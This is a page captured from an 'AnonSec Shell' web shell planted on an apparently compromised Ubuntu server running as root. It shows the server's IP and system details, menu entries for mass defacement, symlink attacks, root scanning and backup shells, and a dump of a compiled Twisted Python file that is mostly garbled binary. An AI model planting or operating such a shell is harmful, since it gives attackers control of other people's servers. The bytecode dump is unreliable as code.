AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/lib/python3/dist-packages/twisted/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/lib/python3/dist-packages/twisted/python/__pycache__/monkey.cpython-310.pyc
o

�bt�@sGdd�d�ZdS)c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�
MonkeyPatcherzn
    Cover up attributes with new objects. Neat for monkey-patching things for
    unit-testing purposes.
    cGs$g|_g|_|D]}|j|�qdS)N)�_patchesToApply�
_originals�addPatch)�self�patches�patch�r�7/usr/lib/python3/dist-packages/twisted/python/monkey.py�__init__
s
�zMonkeyPatcher.__init__cCs|j�|||f�dS)z�
        Add a patch so that the attribute C{name} on C{obj} will be assigned to
        C{value} when C{patch} is called or during C{runWithPatches}.

        You can restore the original values with a call to restore().
        N)r�append�r�obj�name�valuerrr	rszMonkeyPatcher.addPatchcCs,|jD]\}}}||f||fkrdSqdS)zc
        Has the C{name} attribute of C{obj} already been patched by this
        patcher?
        TF)r)rr
r�o�n�vrrr	�_alreadyPatcheds
�zMonkeyPatcher._alreadyPatchedcCsF|jD]\}}}|�||�s|j�||t||�f�t|||�qdS)z�
        Apply all of the patches that have been specified with L{addPatch}.
        Reverse this operation using L{restore}.
        N)rrrr�getattr�setattrrrrr	r)s
�zMonkeyPatcher.patchcCs0|jr|j��\}}}t|||�|jsdSdS)zE
        Restore all original values to any patched objects.
        N)r�poprrrrr	�restore3s�zMonkeyPatcher.restorecOs,|��z||i|��W|��S|��w)z�
        Apply each patch already specified. Then run the function f with the
        given args and kwargs. Restore everything when done.
        )rr)r�f�args�kwrrr	�runWithPatches;szMonkeyPatcher.runWithPatchesN)
�__name__�
__module__�__qualname__�__doc__r
rrrrrrrrr	rs		

rN)rrrrr	�<module>s

Anon7 - 2022
AnonSec Team